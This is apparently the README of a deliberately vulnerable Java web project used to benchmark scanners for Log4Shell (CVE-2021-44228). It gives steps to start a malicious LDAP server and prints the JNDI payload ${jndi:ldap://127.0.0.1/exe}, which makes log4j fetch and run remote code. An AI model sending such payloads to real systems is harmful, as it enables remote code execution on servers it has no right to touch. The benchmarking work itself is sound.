
веб-проект jee с уязвимостью log4shell (CVE-2021-44228)
Это простой веб-проект с уязвимостью log4shell.
Проект определяет простой GET-сервис scabench.HelloWorldService, возвращающий строку простого текста hello world.
Сервис не ожидает параметров, и если параметры обнаружены, в лог записывается ошибка.
Уязвимая зависимость: org.apache.logging.log4j:log4j-core:2.14.1, уязвимость: CVE-2021-44228.
Для этого требуется Unix или macOS. Этот проект легко портировать на Windows.
Предоставлен модульный тест для демонстрации уязвимости. Тесту требуется LDAP-сервер, предоставляющий уязвимый код; соответствующий исполняемый файл предоставляется проектом и определён в отдельном проекте https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept на основе https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. Тестовое окружение обработает запуск и остановку LDAP-сервера.
Тест создаст файл foo на основе команды, закодированной в коде LDAP-сервера, к которому подключается log4j
(). Этим сервером может управлять злоумышленник.
touch fooЧтобы запустить тест, соберите проект с помощью mvn test.
mvn jetty:runjava -jar dodgy-ldap-server.jar (уязвимый код будет загружать Java-код с этого сервера)http://localhost:8080/, на этой странице находится предварительно заполненная форма с вредоносной нагрузкой ${jndi:ldap://127.0.0.1/exe}foo на сервереИмеется несколько sh-скриптов для запуска различных анализов; отчёты о результатах можно найти в scan-results.